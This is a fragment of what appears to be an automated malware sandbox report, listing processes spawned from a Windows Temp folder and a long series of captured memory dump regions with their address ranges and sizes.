                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\EDE1.exe
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:5140
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\F93C.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\F93C.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:5344
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\16B.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\16B.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:4592
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1707.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\1707.exe
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:5220
                                                                                                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:2204

                                                                                                                                                                                Network

                                                                                                                                                                                MITRE ATT&CK Enterprise v6

                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                Downloads

                                                                                                                                                                                • memory/64-176-0x0000027322C00000-0x0000027322C70000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/492-217-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  4KB

                                                                                                                                                                                • memory/852-302-0x0000000140000000-0x000000014070A000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  7.0MB

                                                                                                                                                                                • memory/852-304-0x0000010E9B170000-0x0000010E9B184000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  80KB

                                                                                                                                                                                • memory/856-206-0x0000000000400000-0x0000000000416000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  88KB

                                                                                                                                                                                • memory/1044-275-0x0000026E7ED20000-0x0000026E7ED90000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1044-184-0x0000026E7ECB0000-0x0000026E7ED20000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1096-182-0x0000025761D60000-0x0000025761DD0000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1096-271-0x0000025761DD0000-0x0000025761E40000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1096-269-0x0000025761720000-0x000002576176B000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  300KB

                                                                                                                                                                                • memory/1116-157-0x000002BF503C0000-0x000002BF50430000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1116-284-0x000002BF50600000-0x000002BF50670000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1116-156-0x000002BF500F0000-0x000002BF5013B000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  300KB

                                                                                                                                                                                • memory/1204-287-0x00000143C24B0000-0x00000143C2520000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1204-190-0x00000143C1F60000-0x00000143C1FD0000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1248-163-0x00000167FB370000-0x00000167FB3E0000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1404-186-0x000001930B880000-0x000001930B8F0000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1404-279-0x000001930BF30000-0x000001930BFA0000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1836-219-0x0000000002E80000-0x0000000002E82000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  8KB

                                                                                                                                                                                • memory/1848-188-0x000001F5312D0000-0x000001F531340000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/1848-283-0x000001F531340000-0x000001F5313B0000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/2224-193-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  172KB

                                                                                                                                                                                • memory/2324-180-0x000002E654120000-0x000002E654190000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/2352-162-0x000000001AEB0000-0x000000001AEB2000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  8KB

                                                                                                                                                                                • memory/2352-132-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  4KB

                                                                                                                                                                                • memory/2352-130-0x0000000000CA0000-0x0000000000CBC000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  112KB

                                                                                                                                                                                • memory/2352-128-0x0000000000C80000-0x0000000000C81000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  4KB

                                                                                                                                                                                • memory/2352-126-0x0000000000470000-0x0000000000471000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  4KB

                                                                                                                                                                                • memory/2364-178-0x000001FF17DB0000-0x000001FF17E20000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/2616-169-0x0000022B92270000-0x0000022B922E0000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/2624-175-0x0000025EC1740000-0x0000025EC17B0000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/2632-168-0x000002F435380000-0x000002F4353F0000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/2684-199-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  4KB

                                                                                                                                                                                • memory/2940-129-0x0000000000E67000-0x0000000000F68000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  1.0MB

                                                                                                                                                                                • memory/2940-131-0x00000000008E0000-0x000000000093C000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  368KB

                                                                                                                                                                                • memory/3560-174-0x00000196C8C70000-0x00000196C8CE0000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  448KB

                                                                                                                                                                                • memory/3560-218-0x00000196CB200000-0x00000196CB2FF000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  1020KB

                                                                                                                                                                                • memory/4060-203-0x0000000000970000-0x0000000000972000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  8KB

                                                                                                                                                                                • memory/4124-239-0x0000000002835000-0x0000000002836000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  4KB

                                                                                                                                                                                • memory/4124-235-0x0000000002832000-0x0000000002834000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  8KB

                                                                                                                                                                                • memory/4124-227-0x0000000002830000-0x0000000002832000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  8KB

                                                                                                                                                                                • memory/4136-238-0x0000000002835000-0x0000000002837000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  8KB

                                                                                                                                                                                • memory/4136-236-0x0000000002832000-0x0000000002834000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  8KB

                                                                                                                                                                                • memory/4136-228-0x0000000002830000-0x0000000002832000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  8KB

                                                                                                                                                                                • memory/4136-237-0x0000000002834000-0x0000000002835000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  4KB

                                                                                                                                                                                • memory/4256-276-0x0000000003440000-0x0000000003488000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  288KB

                                                                                                                                                                                • memory/4256-232-0x0000000000290000-0x000000000029D000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  52KB

                                                                                                                                                                                • memory/4276-267-0x000000000498F000-0x0000000004A90000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  1.0MB

                                                                                                                                                                                • memory/4276-270-0x0000000004910000-0x000000000496C000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  368KB

                                                                                                                                                                                • memory/4300-349-0x0000000007A30000-0x0000000007A31000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  4KB

                                                                                                                                                                                • memory/4300-348-0x0000000005260000-0x0000000005261000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  4KB

                                                                                                                                                                                • memory/4860-299-0x0000000000400000-0x0000000000447000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  284KB

                                                                                                                                                                                • memory/4872-246-0x0000000000430000-0x00000000004DE000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  696KB

                                                                                                                                                                                • memory/4872-245-0x00000000001F0000-0x0000000000200000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  64KB

                                                                                                                                                                                • memory/4940-297-0x0000000140000000-0x0000000140383000-memory.dmp

                                                                                                                                                                                  Filesize

                                                                                                                                                                                  3.5MB